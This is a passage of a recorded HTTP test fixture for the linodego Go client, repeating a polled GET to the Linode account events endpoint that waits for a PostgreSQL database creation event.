- application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: 